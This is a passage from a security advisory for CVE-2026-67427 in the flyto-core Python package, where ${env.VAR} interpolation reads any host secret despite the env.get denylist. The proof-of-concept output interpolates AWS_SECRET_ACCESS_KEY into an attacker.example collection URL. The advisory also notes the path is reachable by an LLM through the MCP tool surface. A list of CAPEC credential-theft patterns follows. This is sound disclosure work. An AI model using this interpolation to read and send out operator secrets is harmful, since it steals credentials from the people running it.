print("env.get allowed? ", module_filter.is_allowed("env.get"))
r = VariableResolver(params={}, context={})
print("resolve ${env.SECRET}: ", r.resolve("${env.AWS_SECRET_ACCESS_KEY}"))
print("into an attacker URL: ", r.resolve("https://attacker.example/collect?k=${env.AWS_SECRET_ACCESS_KEY}"))
Output:
env.get allowed? False
resolve ${env.SECRET}: AKIA-operator-super-secret-DO-NOT-LEAK
into an attacker URL: https://attacker.example/collect?k=AKIA-operator-super-secret-DO-NOT-LEAK
env.get is denied, yet ${env.AWS_SECRET_ACCESS_KEY} reads the same secret and drops it straight into a URL. Confirmed through the running API too: a POST /v1/workflow/run step with text: "${env.AWS_SECRET_ACCESS_KEY}" resolved to the secret and returned it in the workflow result (in plaintext — the trace redaction did not mask it).
Reachability (why this is not operator self-service)
The vendor denies env.get by default and states the reason inline — reading arbitrary host env vars is a secret-exfil risk. That default only makes sense against an untrusted workflow/agent, which is precisely the caller here: workflow parameters and step values come from the LLM through the MCP tool surface or from a hosted-API client, not from the trusted operator. ${env.*} gives that same denied capability with no gate, so it is a direct bypass of a control the vendor deliberately turned on — not intended behavior.
Impact
Read any host environment variable — cloud keys, tokens, DSNs — that the operator relied on the env.get denylist to protect, and exfiltrate it by interpolating it into an outbound request handled by an allowed module (the SSRF guard allows the attacker's public host). Reachable via the workflow API and the MCP agent surface.
Suggested fix
Apply the same policy to ${env.*} as to the env.get module: gate it behind an explicit allowlist of permitted variable names and deny by default when env.get is denied, so engine interpolation and module execution enforce one env-access policy. Alternatively drop ${env.*} and require env values to be passed in explicitly at workflow start.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "flyto-core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.26.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-67427"
],
"database_specific": {
"cwe_ids": [
"CWE-522",
"CWE-668",
"CWE-693"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-30T14:47:01Z",
"nvd_published_at": "2026-07-29T19:16:51Z",
"severity": "HIGH"
},
"details": "## Summary\n\nThe capability policy denies the `env.get` and `env.load_dotenv` modules by default, with the stated reason that they read arbitrary host environment variables (API keys, DSNs) and are a secret-exfil risk. But the workflow engine\u0027s variable resolver expands `${env.VAR}` for any environment variable with no allowlist and no policy check, so the exact capability the denylist blocks is available to any workflow parameter. The resolved secret can then be sent out through any allowed module.\n\n## Affected code\n\n`src/core/engine/variable_resolver.py`:\n\n```python\nif var_type == \u0027env\u0027:\n if len(parts) \u003c 2:\n return None\n env_var = parts[1]\n return os.getenv(env_var) # any env var, no allowlist, not covered by module policy\n```\n\nThe module policy (`enforce_module_policy` in `module_policy.py`) gates module execution at `BaseModule.run`, but `${...}` interpolation happens earlier in the engine and is not subject to it. So denylisting `env.get` does not actually stop a workflow from reading host env secrets.\n\n## Reproduction\n\nSave as `envbypass_poc.py`, run with `PYTHONPATH=src/src python envbypass_poc.py`.\n\n```python\n#!/usr/bin/env python3\nimport os\nos.environ[\"AWS_SECRET_ACCESS_KEY\"] = \"AKIA-operator-super-secret-DO-NOT-LEAK\"\n\nfrom core.module_policy import module_filter\nfrom core.engine.variable_resolver import VariableResolver\n\nprint(\"env.get allowed? \", module_filter.is_allowed(\"env.get\"))\nr = VariableResolver(params={}, context={})\nprint(\"resolve ${env.SECRET}: \", r.resolve(\"${env.AWS_SECRET_ACCESS_KEY}\"))\nprint(\"into an attacker URL: \", r.resolve(\"https://attacker.example/collect?k=${env.AWS_SECRET_ACCESS_KEY}\"))\n```\n\nOutput:\n\n```\nenv.get allowed? False\nresolve ${env.SECRET}: AKIA-operator-super-secret-DO-NOT-LEAK\ninto an attacker URL: https://attacker.example/collect?k=AKIA-operator-super-secret-DO-NOT-LEAK\n```\n\n`env.get` is denied, yet `${env.AWS_SECRET_ACCESS_KEY}` reads the same secret and drops it straight into a URL. Confirmed through the running API too: a `POST /v1/workflow/run` step with `text: \"${env.AWS_SECRET_ACCESS_KEY}\"` resolved to the secret and returned it in the workflow result (in plaintext \u2014 the trace redaction did not mask it).\n\n## Reachability (why this is not operator self-service)\n\nThe vendor denies `env.get` by default and states the reason inline \u2014 reading arbitrary host env vars is a secret-exfil risk. That default only makes sense against an untrusted workflow/agent, which is precisely the caller here: workflow parameters and step values come from the LLM through the MCP tool surface or from a hosted-API client, not from the trusted operator. `${env.*}` gives that same denied capability with no gate, so it is a direct bypass of a control the vendor deliberately turned on \u2014 not intended behavior.\n\n## Impact\n\nRead any host environment variable \u2014 cloud keys, tokens, DSNs \u2014 that the operator relied on the `env.get` denylist to protect, and exfiltrate it by interpolating it into an outbound request handled by an allowed module (the SSRF guard allows the attacker\u0027s public host). Reachable via the workflow API and the MCP agent surface.\n\n## Suggested fix\n\nApply the same policy to `${env.*}` as to the `env.get` module: gate it behind an explicit allowlist of permitted variable names and deny by default when `env.get` is denied, so engine interpolation and module execution enforce one env-access policy. Alternatively drop `${env.*}` and require env values to be passed in explicitly at workflow start.",
"id": "GHSA-hr7p-wg7r-hg9m",
"modified": "2026-07-30T14:47:01Z",
"published": "2026-07-30T14:47:01Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/flytohub/flyto-core/security/advisories/GHSA-hr7p-wg7r-hg9m"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-67427"
},
{
"type": "WEB",
"url": "https://github.com/flytohub/flyto-core/commit/d5f89d71303e3c1e6418d347c5c55fcd173cc8cc"
},
{
"type": "PACKAGE",
"url": "https://github.com/flytohub/flyto-core"
},
{
"type": "WEB",
"url": "https://github.com/flytohub/flyto-core/releases/tag/v2.26.6"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Flyto2 Core: ${env.VAR} interpolation reads any env secret despite env.get being denylisted"
}
Mitigation
Use an appropriate security mechanism to protect the credentials.
Mitigation
Make appropriate use of cryptography to protect the credentials.
Mitigation
Use industry standards to protect the credentials (e.g. LDAP, keystore, etc.).
CAPEC-102: Session Sidejacking
Session sidejacking takes advantage of an unencrypted communication channel between a victim and target system. The attacker sniffs traffic on a network looking for session tokens in unencrypted traffic. Once a session token is captured, the attacker performs malicious actions by using the stolen token with the targeted application to impersonate the victim. This attack is a specific method of session hijacking, which is exploiting a valid session token to gain unauthorized access to a target system or information. Other methods to perform a session hijacking are session fixation, cross-site scripting, or compromising a user or server machine and stealing the session token.
CAPEC-474: Signature Spoofing by Key Theft
An attacker obtains an authoritative or reputable signer's private signature key by theft and then uses this key to forge signatures from the original signer to mislead a victim into performing actions that benefit the attacker.
CAPEC-50: Password Recovery Exploitation
An attacker may take advantage of the application feature to help users recover their forgotten passwords in order to gain access into the system with the same privileges as the original user. Generally password recovery schemes tend to be weak and insecure.
CAPEC-509: Kerberoasting
Through the exploitation of how service accounts leverage Kerberos authentication with Service Principal Names (SPNs), the adversary obtains and subsequently cracks the hashed credentials of a service account target to exploit its privileges. The Kerberos authentication protocol centers around a ticketing system which is used to request/grant access to services and to then access the requested services. As an authenticated user, the adversary may request Active Directory and obtain a service ticket with portions encrypted via RC4 with the private key of the authenticated account. By extracting the local ticket and saving it disk, the adversary can brute force the hashed value to reveal the target account credentials.
CAPEC-551: Modify Existing Service
When an operating system starts, it also starts programs called services or daemons. Modifying existing services may break existing services or may enable services that are disabled/not commonly used.
CAPEC-555: Remote Services with Stolen Credentials
This pattern of attack involves an adversary that uses stolen credentials to leverage remote services such as RDP, telnet, SSH, and VNC to log into a system. Once access is gained, any number of malicious activities could be performed.
CAPEC-560: Use of Known Domain Credentials
An adversary guesses or obtains (i.e. steals or purchases) legitimate credentials (e.g. userID/password) to achieve authentication and to perform authorized actions under the guise of an authenticated user or service.
CAPEC-561: Windows Admin Shares with Stolen Credentials
An adversary guesses or obtains (i.e. steals or purchases) legitimate Windows administrator credentials (e.g. userID/password) to access Windows Admin Shares on a local machine or within a Windows domain.
CAPEC-600: Credential Stuffing
An adversary tries known username/password combinations against different systems, applications, or services to gain additional authenticated access. Credential Stuffing attacks rely upon the fact that many users leverage the same username/password combination for multiple systems, applications, and services.
CAPEC-644: Use of Captured Hashes (Pass The Hash)
An adversary obtains (i.e. steals or purchases) legitimate Windows domain credential hash values to access systems within the domain that leverage the Lan Man (LM) and/or NT Lan Man (NTLM) authentication protocols.
CAPEC-645: Use of Captured Tickets (Pass The Ticket)
An adversary uses stolen Kerberos tickets to access systems/resources that leverage the Kerberos authentication protocol. The Kerberos authentication protocol centers around a ticketing system which is used to request/grant access to services and to then access the requested services. An adversary can obtain any one of these tickets (e.g. Service Ticket, Ticket Granting Ticket, Silver Ticket, or Golden Ticket) to authenticate to a system/resource without needing the account's credentials. Depending on the ticket obtained, the adversary may be able to access a particular resource or generate TGTs for any account within an Active Directory Domain.
CAPEC-652: Use of Known Kerberos Credentials
An adversary obtains (i.e. steals or purchases) legitimate Kerberos credentials (e.g. Kerberos service account userID/password or Kerberos Tickets) with the goal of achieving authenticated access to additional systems, applications, or services within the domain.
CAPEC-653: Use of Known Operating System Credentials
An adversary guesses or obtains (i.e. steals or purchases) legitimate operating system credentials (e.g. userID/password) to achieve authentication and to perform authorized actions on the system, under the guise of an authenticated user or service. This applies to any Operating System.